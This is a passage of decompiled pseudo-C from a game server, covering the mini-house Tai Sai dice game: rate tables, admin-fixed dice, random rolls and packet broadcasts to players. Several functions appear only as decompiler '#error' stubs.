*(_WORD *)&v3->smh_DiceTaiSai.CurrentRollingDice.nNumber[0] = 0; v3->smh_DiceTaiSai.CurrentRollingDice.nNumber[2] = 0; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 468))(v3); v3->smh_DiceTaiSai.nDiceRateSum = 0; v8 = 0; v9 = (int)v3->smh_DiceTaiSai.nDiceRate; while ( 1 ) { v10 = CDataReader::GetRecord(&gMiniHouseDiceRate, v8); if ( !v10 ) break; *(_WORD *)v9 = *(_WORD *)v10; ++v8; v9 += 2; v3->smh_DiceTaiSai.nDiceRateSum += *(_DWORD *)v10; if ( (signed int)v8 >= 216 ) return 1; } } result = 0; } else { result = 0; } return result; } //----- (004D0AC0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsActiveDice(ShineObjectClass::ShineMiniHouse *this, ItemInventoryCell *pDiceCell) { char result; // al@2 if ( pDiceCell && this->smh_DiceTaiSai.ActiveDice.pActiveDiceTaiSaiCell == pDiceCell ) result = (*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() != 0; else result = 0; return result; } //----- (004D0AF0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsActiveDice(ShineObjectClass::ShineMiniHouse *this, SHINE_ITEM_REGISTNUMBER nDiceKey) { char result; // al@2 if ( (nDiceKey.binary._bf4 & *(_DWORD *)&nDiceKey) == -1 || *(_QWORD *)&this->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary.gap0[0] != nDiceKey ) result = 0; else result = (*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() != 0; return result; } //----- (004D0B30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceFix(ShineObjectClass::ShineMiniHouse *this, DiceTaiSaiInfo *pDiceNum) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 DICE_TAISAI_GAME_STATUS v3; // eax@3 char result; // al@5 int v5; // esi@6 v2 = this; if ( pDiceNum && (unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() && ((v3 = v2->smh_DiceTaiSai.nGameStatus) == 0 || v3 == 1) ) { v2->smh_DiceTaiSai.bIsAdminDice = 1; v5 = (int)&v2->smh_DiceTaiSai.CurrentRollingDice; *(_WORD *)v5 = *(_WORD *)&pDiceNum->nNumber[0]; *(_BYTE *)(v5 + 2) = pDiceNum->nNumber[2]; result = 1; } else { result = 0; } return result; } //----- (004D0B80) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceProbability(ShineObjectClass::ShineMiniHouse *this, DiceTaiSaiInfo *pDiceNum, unsigned __int16 nDiceRate) { unsigned int v3; // edi@1 ShineObjectClass::ShineMiniHouse *v4; // esi@1 char *v5; // ebx@2 void *v6; // eax@3 DiceTaiSaiInfo *v8; // eax@9 unsigned __int16 v9; // cx@9 v3 = (unsigned int)pDiceNum; v4 = this; if ( !pDiceNum ) { this->smh_DiceTaiSai.nDiceRateSum = (unsigned int)pDiceNum; v5 = (char *)this->smh_DiceTaiSai.nDiceRate; while ( 1 ) { v6 = CDataReader::GetRecord(&gMiniHouseDiceRate, v3); if ( !v6 ) break; *(_WORD *)v5 = *(_WORD *)v6; ++v3; v5 += 2; v4->smh_DiceTaiSai.nDiceRateSum += *(_DWORD *)v6; if ( (signed int)v3 >= 216 ) return 1; } return 0; } if ( !(unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() || (pDiceNum = 0, !DiceTaiSai::ConvertDice(&gMiniHouseDiceTaiSai, (char *)v3, (int *)&pDiceNum)) ) return 0; v8 = pDiceNum; v9 = nDiceRate; v4->smh_DiceTaiSai.nDiceRateSum += nDiceRate - v4->smh_DiceTaiSai.nDiceRate[(_DWORD)pDiceNum]; v4->smh_DiceTaiSai.nDiceRate[(_DWORD)v8] = v9; return 1; } //----- (004D0C40) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ClearDiceBettingInfo(ShineObjectClass::ShineMiniHouse *this) { char *v1; // eax@1 signed int v2; // esi@1 int v3; // edx@3 int v4; // esi@3 int v5; // edi@3 __int16 v6; // bx@3 char *v7; // ecx@3 int v8; // eax@3 unsigned int v10; // [sp+0h] [bp-4h]@0 this->smh_DiceTaiSai.nBetSumMoney = 0i64; v1 = (char *)&this->smh_DiceTaiSai.BettingInfo[0].nPlayerCnt; v2 = 52; do { *((_DWORD *)v1 - 2) = 0; *((_DWORD *)v1 - 1) = 0; *(_WORD *)v1 = 0; v1 += 16; --v2; } while ( v2 ); this->smh_DiceTaiSai.nGameStatus = 0; v8 = *(_DWORD *)&this->smh_DiceTaiSai.History[0].nNumber[0]; v3 = *(_DWORD *)&this->smh_DiceTaiSai.History[1].nNumber[1]; v4 = *(_DWORD *)&this->smh_DiceTaiSai.History[2].nNumber[2]; v5 = *(_DWORD *)&this->smh_DiceTaiSai.History[4].nNumber[0]; v6 = *(_WORD *)&this->smh_DiceTaiSai.History[5].nNumber[1]; v7 = (char *)&this->smh_DiceTaiSai.History[1]; *(_DWORD *)v7 = v8; *((_DWORD *)v7 + 1) = v3; *((_DWORD *)v7 + 2) = v4; *((_DWORD *)v7 + 3) = v5; *((_WORD *)v7 + 8) = v6; __security_check_cookie(v10); return v8; } //----- (004D0CC0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceHistory(ShineObjectClass::ShineMiniHouse *this) { char *v1; // eax@1 __int16 v2; // si@1 char v3; // dl@1 char *v4; // ecx@1 v1 = (char *)&this->smh_DiceTaiSai.CurrentRollingDice; v2 = *(_WORD *)&this->smh_DiceTaiSai.CurrentRollingDice.nNumber[0]; v3 = this->smh_DiceTaiSai.CurrentRollingDice.nNumber[2]; v4 = (char *)this->smh_DiceTaiSai.History; *(_WORD *)v4 = v2; v4[2] = v3; *(_WORD *)v1 = 0; v1[2] = 0; return 1; } //----- (004D0CF0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ClearGamerBettingInfo(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // ebx@1 signed int v2; // edi@1 char *v3; // esi@2 v1 = this; v2 = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v3 = (char *)this->smh_DiceTaiSai.GamerInfo; do { if ( *(_DWORD *)v3 ) (*(void (**)(void))(**(_DWORD **)v3 + 416))(); ++v2; v3 += 8; } while ( v2 < v1->smh_DiceTaiSai.nGamerCnt ); } return 1; } //----- (004D0D30) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadEnter(int a1) { return 7304; } //----- (004D0D40) -------------------------------------------------------- #error "4D0D40: undefined or illegal type '#325' (funcsize=206)" //----- (004D0FF0) -------------------------------------------------------- #error "4D0FF0: undefined or illegal type '#325' (funcsize=153)" //----- (004D11E0) -------------------------------------------------------- #error "4D11E0: undefined or illegal type '#325' (funcsize=57)" //----- (004D1270) -------------------------------------------------------- #error "4D1270: undefined or illegal type '#325' (funcsize=71)" //----- (004D1360) -------------------------------------------------------- #error "4D1360: undefined or illegal type '#325' (funcsize=87)" //----- (004D1460) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_Out(int a1) { return 7317; } //----- (004D1470) -------------------------------------------------------- #error "4D1470: undefined or illegal type '#325' (funcsize=236)" //----- (004D1760) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadOut(#325 *this, #325 *a2, char bReserve) { return 7317; } //----- (004D1770) -------------------------------------------------------- #error "4D1770: undefined or illegal type '#325' (funcsize=75)" //----- (004D1860) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadModeChange(int a1) { return 7332; } //----- (004D1870) -------------------------------------------------------- #error "4D1870: undefined or illegal type '#325' (funcsize=86)" //----- (004D1950) -------------------------------------------------------- #error "4D1950: undefined or illegal type '#325' (funcsize=208)" //----- (004D1BE0) -------------------------------------------------------- #error "4D1BE0: undefined or illegal type '#325' (funcsize=46)" //----- (004D1C60) -------------------------------------------------------- #error "4D1C60: undefined or illegal type '#325' (funcsize=154)" //----- (004D1E60) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadSetTimer(#325 *this, #325 *pTaiSaiBetting, DiceTaiSaiBetting *nBettingType) { return 7349; } //----- (004D1E70) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadSetTimer(ShineObjectClass::ShineMiniHouse *this, DiceTaiSaiBetting *pTaiSaiBetting, DICE_TAISAI_BETTING_TYPE nBettingType) { signed int v3; // ebx@1 ShineObjectClass::ShineMiniHouse *v4; // edi@1 DICE_TAISAI_GAME_STATUS v6; // eax@4 int v7; // ecx@6 int v8; // eax@6 signed int v9; // edx@6 int v10; // esi@7 int v11; // ebp@7 char *v12; // eax@10 unsigned __int16 v13; // cx@10 int v14; // esi@12 char v15; // al@15 int v16; // eax@16 signed int v17; // eax@21 char *v18; // ecx@21 char *v19; // eax@25 int v20; // esi@27 int v21; // eax@32 int pTaiSaiBettinga; // [sp+Ch] [bp+4h]@11 int pTaiSaiBettingb; // [sp+Ch] [bp+4h]@26 v3 = 0; v4 = this; if ( !pTaiSaiBetting || (signed int)nBettingType >= 2 ) return 7349; v6 = this->smh_DiceTaiSai.nGameStatus; if ( nBettingType ) { if ( v6 != 1 ) return 7349; v17 = 0; v18 = (char *)&this->smh_DiceTaiSai.BettingInfo[0].nPlayerCnt; while ( *(_WORD *)v18 <= 0u ) { ++v17; v18 += 16; if ( v17 >= 52 ) { if ( !v4->smh_DiceTaiSai.nGameMode ) { v19 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -21460; v19[2] = 0; *(_WORD *)(v19 + 3) = 0; *(_DWORD *)(v19 + 5) = 0; if ( v4->smh_DiceTaiSai.nGamerCnt ) { pTaiSaiBettingb = (int)v4->smh_DiceTaiSai.GamerInfo; do { v20 = *(_DWORD *)pTaiSaiBettingb; if ( *(_DWORD *)pTaiSaiBettingb && (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v20 + 312))(*(_DWORD *)pTaiSaiBettingb) == *(_WORD *)&v4->gap0[4] && (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v20 + 368))(v20, 1) ) { if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v21 = (*(int (__thiscall **)(int))(*(_DWORD *)v20 + 760))(v20); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v21 + 12))(v21, v20, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadSetTimer : Packet Too Long", 9); } } ++v3; pTaiSaiBettingb += 8; } while ( v3 < v4->smh_DiceTaiSai.nGamerCnt ); } } v4->smh_DiceTaiSai.nGameStatus = 0; return 7344; } } return 7344; } if ( v6 ) return 7344; v7 = 0; v8 = (int)&v4->smh_DiceTaiSai.BettingInfo[2].nPlayerCnt; v9 = 13; do { v10 = *(_WORD *)(v8 + 16) + *(_WORD *)(v8 - 16) + *(_WORD *)(v8 - 32); v11 = v7 + *(_WORD *)v8; v8 += 64; --v9; v7 = v10 + v11; } while ( v9 ); if ( v7 != 1 ) return 7349; if ( !v4->smh_DiceTaiSai.nGameMode ) { v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -21460; v12[2] = 1; v4->smh_DiceTaiSai.bIsActiveTimerCheckTime = 1; v13 = v4->smh_DiceTaiSai.ActiveDice.CastTime; v4->smh_DiceTaiSai.nTimerCheckTime = clockwatch.cw_CurrTick + v4->smh_DiceTaiSai.ActiveDice.CastTime; *(_WORD *)(v12 + 3) = v13; *(_DWORD *)(v12 + 5) = v4->smh_DiceTaiSai.nTimerCheckTime - clockwatch.cw_CurrTick; if ( v4->smh_DiceTaiSai.nGamerCnt ) { pTaiSaiBettinga = (int)v4->smh_DiceTaiSai.GamerInfo; do { v14 = *(_DWORD *)pTaiSaiBettinga; if ( *(_DWORD *)pTaiSaiBettinga && (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v14 + 312))(*(_DWORD *)pTaiSaiBettinga) == *(_WORD *)&v4->gap0[4] && (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v14 + 368))(v14, 1) ) { v15 = ProtocolPacket::pp_SetPacketLen(&gpp, 9); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v15, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadSetTimer : Packet Too Long", 9) ) { v16 = (*(int (__thiscall **)(int))(*(_DWORD *)v14 + 760))(v14); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v16 + 12))(v16, v14, &gpp); } } ++v3; pTaiSaiBettinga += 8; } while ( v3 < v4->smh_DiceTaiSai.nGamerCnt ); } } v4->smh_DiceTaiSai.nGameStatus = 1; return 7344; } //----- (004D20E0) -------------------------------------------------------- #error "4D20E0: undefined or illegal type '#325' (funcsize=137)" //----- (004D2230) -------------------------------------------------------- #error "4D2230: undefined or illegal type '#325' (funcsize=167)" //----- (004D23F0) -------------------------------------------------------- #error "4D23F0: undefined or illegal type '#325' (funcsize=78)" //----- (004D24E0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadBettingCancel(#325 *this, #325 *a2, DiceTaiSaiBetting *pTaiSaiBetting) { return 7365; } //----- (004D24F0) -------------------------------------------------------- #error "4D24F0: undefined or illegal type '#325' (funcsize=94)" //----- (004D25E0) -------------------------------------------------------- #error "4D25E0: undefined or illegal type '#325' (funcsize=132)" //----- (004D2750) -------------------------------------------------------- #error "4D2750: undefined or illegal type '#325' (funcsize=78)" //----- (004D2840) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadEmotion_DiceRoll(int pDBAck) { return 7380; } //----- (004D2850) -------------------------------------------------------- #error "4D2850: undefined or illegal type '#325' (funcsize=78)" //----- (004D2920) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_CanAutoDiceRoll(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 unsigned __int16 result; // ax@2 v1 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() ) { if ( v1->smh_DiceTaiSai.nGameMode ) { result = 7386; } else { if ( v1->smh_DiceTaiSai.nGameStatus == 1 ) { if ( HIDWORD(v1->smh_DiceTaiSai.nBetSumMoney) || LODWORD(v1->smh_DiceTaiSai.nBetSumMoney) ) result = 7376; else result = 7384; } else { result = 7383; } } } else { result = 7385; } return result; } //----- (004D2980) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_DiceRoll(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // edi@1 unsigned int v3; // edx@11 int v4; // eax@11 int v5; // edx@11 int v6; // esi@11 int v7; // ecx@12 int v8; // edx@13 int v9; // ecx@13 int v10; // edx@14 int v11; // ecx@14 int v12; // edx@15 int v13; // ecx@15 int v14; // edx@16 int v15; // ecx@16 int v16; // edx@17 int v17; // ecx@17 v1 = this; if ( !(unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() ) return 7385; if ( v1->smh_DiceTaiSai.nGameStatus != 1 ) return 7383; if ( !HIDWORD(v1->smh_DiceTaiSai.nBetSumMoney) && !LODWORD(v1->smh_DiceTaiSai.nBetSumMoney) ) return 7384; if ( v1->smh_DiceTaiSai.bIsAdminDice == 1 ) { v1->smh_DiceTaiSai.bIsAdminDice = 0; LABEL_10: v1->smh_DiceTaiSai.nGameStatus = 2; return 7376; } v3 = rand() % v1->smh_DiceTaiSai.nDiceRateSum; v4 = (int)&v1->smh_DiceTaiSai.nDiceRate[1]; v5 = v3 + 1; v6 = 0; do { v7 = *(_WORD *)(v4 - 2); if ( v5 <= v7 ) break; v8 = v5 - v7; v9 = *(_WORD *)v4; if ( v8 <= v9 ) { ++v6; break; } v10 = v8 - v9; v11 = *(_WORD *)(v4 + 2); if ( v10 <= v11 ) { v6 += 2; break; } v12 = v10 - v11; v13 = *(_WORD *)(v4 + 4); if ( v12 <= v13 ) { v6 += 3; break; } v14 = v12 - v13; v15 = *(_WORD *)(v4 + 6); if ( v14 <= v15 ) { v6 += 4; break; } v16 = v14 - v15; v17 = *(_WORD *)(v4 + 8); if ( v16 <= v17 ) { v6 += 5; break; } v6 += 6; v5 = v16 - v17; v4 += 12; } while ( v6 < 216 ); if ( DiceTaiSai::ConvertDice(&gMiniHouseDiceTaiSai, v6, v1->smh_DiceTaiSai.CurrentRollingDice.nNumber) ) goto LABEL_10; return 7380; } //----- (004D2A90) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadDiceRoll(ShineObjectClass::ShineMiniHouse *this) { char *v1; // ebx@1 ShineObjectClass::ShineMiniHouse *v2; // ebp@1 int v3; // esi@3 int v4; // edi@7 unsigned __int64 v5; // qax@9 int v6; // eax@11 char v7; // al@18 int v8; // eax@19 int v9; // ecx@20 bool v10; // sf@20 unsigned __int8 v11; // of@20 const char *v13; // [sp-Ch] [bp-20h]@16 char *v14; // [sp+Ch] [bp-8h]@2 int i; // [sp+10h] [bp-4h]@1 v1 = gpp.pp_Buffer; v2 = this; *(_WORD *)gpp.pp_Buffer = -21470; i = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v14 = (char *)this->smh_DiceTaiSai.GamerInfo; do { *((_WORD *)v1 + 1) = 7392; v3 = *(_DWORD *)v14; if ( !*(_DWORD *)v14 || (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 312))(*(_DWORD *)v14) != *(_WORD *)&v2->gap0[4] ) goto LABEL_20; if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v3 + 368))(v3, 1) ) { v4 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 412))(v3); if ( v4 ) { LODWORD(v5) = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1056))(v3); if ( *(_DWORD *)(v4 + 212) <= v5 ) { v6 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1916))(v3); if ( v6 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 16))(v6) == 1 ) { *((_WORD *)v1 + 1) = 7396; v13 = "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadDiceRoll : Packet Too Long"; } else { v13 = "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadBettingCancel : Packet Too Long"; } v7 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( AssertClass::operator__(&shineassert, (unsigned __int8)v7, v13, 4) ) goto LABEL_20; LABEL_19: v8 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v3, &gpp); goto LABEL_20; } *((_WORD *)v1 + 1) = 7396; } else { *((_WORD *)v1 + 1) = 7395; } } else { *((_WORD *)v1 + 1) = 7394; } } else { *((_WORD *)v1 + 1) = 7393; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) goto LABEL_19; AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadDiceRoll : Packet Too Long", 4); LABEL_20: v9 = v2->smh_DiceTaiSai.nGamerCnt; v11 = __OFSUB__(i + 1, v9); v10 = i++ + 1 - v9 < 0; v14 += 8; } while ( v10 ^ v11 ); } return 7376; } //----- (004D2C00) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_MoneyResult_DiceRoll(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK *pDBAck) { ShineObjectClass::ShineMiniHouse *v2; // edi@1 signed int v3; // ebp@3 int v4; // ebx@4 int v5; // esi@5 int v6; // eax@13 DebugLogging *v7; // edi@14 _iobuf *v8; // eax@16 int v9; // eax@19 int v10; // eax@20 int v11; // edx@21 int v12; // ecx@21 char *v14; // [sp+14h] [bp-Ch]@2 ShineObjectClass::ShineMiniHouse *v15; // [sp+18h] [bp-8h]@1 signed int i; // [sp+1Ch] [bp-4h]@1 v2 = this; v15 = this; i = 0; if ( !pDBAck->nResultCnt ) return 7376; v14 = (char *)&pDBAck[1].nGameNo; do { v3 = 0; if ( !v2->smh_DiceTaiSai.nGamerCnt ) goto LABEL_27; v4 = (int)v2->smh_DiceTaiSai.GamerInfo; while ( 1 ) { v5 = *(_DWORD *)v4; if ( !*(_DWORD *)v4 || (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(*(_DWORD *)v4) != *(_DWORD *)(v14 + 2) ) goto LABEL_10; if ( (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 312))(v5) == *(_WORD *)&v2->gap0[4] && (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v5 + 368))(v5, 1) ) break; v2 = v15; LABEL_10: ++v3; v4 += 8; if ( v3 >= v2->smh_DiceTaiSai.nGamerCnt ) goto LABEL_27; } if ( *((_WORD *)v14 - 1) == 7408 ) { v6 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1916))(v5); if ( (unsigned __int8)(*(int (__thiscall **)(int, int, _DWORD, _DWORD))(*(_DWORD *)v6 + 24))( v6, v5, *(_WORD *)v14, 0) ) { v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1916))(v5); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v9 + 32))(v9, *(_WORD *)v14); } else { v7 = DebugLogging::operator<<( &LockIndexLog, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_MoneyResult_DiceRoll : "); if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } DebugLogging::operator<<(v7, &deb_LF); } } v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 412))(v5); if ( v10 ) { v11 = *(_DWORD *)(v14 + 6); v12 = *(_DWORD *)(v14 + 10); if ( v12 < 0 || v12 <= 0 && !v11 ) { v11 = 0; v12 = 0; } *(_DWORD *)(v10 + 216) = v11; *(_DWORD *)(v10 + 220) = v12; } v2 = v15; LABEL_27: v14 += 16; ++i; } while ( i < pDBAck->nResultCnt ); return 7376; } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004D2DA0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadResult_DiceRoll(ShineObjectClass::ShineMiniHouse *this) { char *v1; // ebx@1 ShineObjectClass::ShineMiniHouse *v2; // ebp@1 int v3; // esi@3 int v4; // eax@9 int v5; // ecx@10 bool v6; // sf@10 unsigned __int8 v7; // of@10 char *v9; // [sp+Ch] [bp-8h]@2 int i; // [sp+10h] [bp-4h]@1 v1 = gpp.pp_Buffer; v2 = this; *(_WORD *)gpp.pp_Buffer = -21466; *((_WORD *)v1 + 2) = *(_WORD *)&this->smh_DiceTaiSai.CurrentRollingDice.nNumber[0]; v1[6] = this->smh_DiceTaiSai.CurrentRollingDice.nNumber[2]; i = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v9 = (char *)this->smh_DiceTaiSai.GamerInfo; do { *((_WORD *)v1 + 1) = 7400; v3 = *(_DWORD *)v9; if ( *(_DWORD *)v9 && (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 312))(*(_DWORD *)v9) == *(_WORD *)&v2->gap0[4] ) { if ( !(unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v3 + 368))(v3, 1) ) *((_WORD *)v1 + 1) = 7401; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v4 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadResult_DiceRoll : Packet Too Long", 7); } } v5 = v2->smh_DiceTaiSai.nGamerCnt; v7 = __OFSUB__(i + 1, v5); v6 = i++ + 1 - v5 < 0; v9 += 8; } while ( v6 ^ v7 ); } return 7376; } //----- (004D2EA0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadEmotion_DiceRoll(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK *pDBAck) { char *v2; // eax@1 void *v3; // esi@1 ShineObjectClass::ShineMiniHouse *v4; // ebp@1 char v5; // cl@1 char *v6; // ebx@2 void *v7; // esi@5 int v8; // eax@10 int v9; // ecx@14 bool v10; // sf@14 unsigned __int8 v11; // of@14 unsigned int v12; // edx@16 char nGamerCnt; // [sp+5h] [bp-2Dh]@1 int v15; // [sp+6h] [bp-2Ch]@4 int j; // [sp+Ah] [bp-28h]@3 signed int i; // [sp+Eh] [bp-24h]@1 char *nc; // [sp+12h] [bp-20h]@1 void *v19; // [sp+16h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+1Ah] [bp-18h]@22 int v21; // [sp+2Eh] [bp-4h]@22 v2 = gpp.pp_Buffer; v3 = 0; *(_WORD *)gpp.pp_Buffer = -21465; v4 = this; v5 = 0; v2[2] = 0; nc = v2; nGamerCnt = 0; v19 = 0; i = 0; if ( pDBAck->nResultCnt ) { v6 = (char *)&pDBAck[1].header.charregistnumber; do { j = 0; if ( v4->smh_DiceTaiSai.nGamerCnt ) { v15 = (int)v4->smh_DiceTaiSai.GamerInfo; while ( 1 ) { v7 = *(void **)v15; if ( *(_DWORD *)v15 && (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v7 + 836))(*(_DWORD *)v15) == *((_DWORD *)v6 - 1) && (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v7 + 312))(v7) == *(_WORD *)&v4->gap0[4] && (unsigned __int8)(*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v7 + 368))(v7, 1) && *((_WORD *)v6 - 4) == 7408 ) { v8 = *((_DWORD *)v6 + 1); if ( v8 > 0 || v8 >= 0 && *(_DWORD *)v6 ) { v12 = v4->smh_DiceTaiSai.ActiveDice.WinCode[rand() % 3]; goto LABEL_18; } if ( v8 < 0 ) break; } v9 = v4->smh_DiceTaiSai.nGamerCnt; v11 = __OFSUB__(j + 1, v9); v10 = j++ + 1 - v9 < 0; v15 += 8; if ( !(v10 ^ v11) ) goto LABEL_19; } v12 = v4->smh_DiceTaiSai.ActiveDice.LoseCode[rand() % 3]; LABEL_18: *(_WORD *)&nc[6 * (unsigned __int8)nGamerCnt + 3] = *((_WORD *)v7 + 2); *(_DWORD *)&nc[6 * (unsigned __int8)nGamerCnt++ + 5] = v12; v19 = v7; } LABEL_19: v6 += 16; ++i; } while ( i < pDBAck->nResultCnt ); v2 = nc; v5 = nGamerCnt; v3 = v19; } v2[2] = v5; if ( v5 ) { AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6 * (unsigned __int8)v5 + 3); v21 = 0; if ( v3 ) ShineObjectClass::ShineObject::so_AllInMap(v3, (int)&alchat, 1); v21 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } return 7376; } //----- (004D3080) -------------------------------------------------------- signed __int16 __cdecl ShineObjectClass::ShineObject::so_mh_DiceTaiSai_CanAutoDiceRoll() { return 7380; } //----- (004D3090) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_PrepareNextGame(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 unsigned __int16 result; // ax@2 int v3; // ecx@5 v1 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() ) { if ( v1->smh_DiceTaiSai.nGameStatus == 2 ) { v3 = v1->smh_DiceTaiSai.ActiveDice.DelayTime; v1->smh_DiceTaiSai.nGameStatus = 3; v1->smh_DiceTaiSai.bIsActiveTimerCheckTime = 1; v1->smh_DiceTaiSai.nTimerCheckTime = clockwatch.cw_CurrTick + v3; result = 7376; } else { result = 7380; } } else { result = 7385; } return result; } //----- (004D30E0) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_GetReceiptIncomeMoney(__int16 nInvenSlot) { return 7428; } //----- (004D30F0) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_GetRank(int pDBAck) { return 7452; } //----- (004D3100) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_SendRank(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_RANK_ACK *pDBAck) { unsigned 